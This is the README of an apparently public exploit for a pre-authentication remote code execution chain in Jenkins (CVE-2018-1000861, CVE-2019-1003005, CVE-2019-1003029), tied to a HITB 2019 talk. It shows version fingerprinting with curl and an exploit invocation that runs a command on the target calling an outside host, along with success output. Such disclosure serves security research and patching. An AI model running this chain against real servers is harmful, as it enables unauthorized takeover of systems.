There is no pre-auth RCE in Jenkins since May 2017, but this is the one!
There is no pre-auth RCE in Jenkins since May 2017, but this is the one!
It chains CVE-2018-1000861, CVE-2019-1003005 and CVE-2019-1003029 to a more reliable and elegant pre-auth remote code execution!
ANONYMOUS_READ disable
ANONYMOUS_READ enable(or with a normal user account)
$ curl -s -I http://jenkins/| grep X-Jenkins X-Jenkins: 2.137 X-Jenkins-Session: 20f72c2e X-Jenkins-CLI-Port: 50000 X-Jenkins-CLI2-Port: 50000$ python exp.py http://jenkins/ 'curl orange.tw' [] ANONYMOUS_READ disable! [] Bypass with CVE-2018-1000861! [*] Exploit success!(it should be :P)
Part slides from my HITB AMS 2019 talk: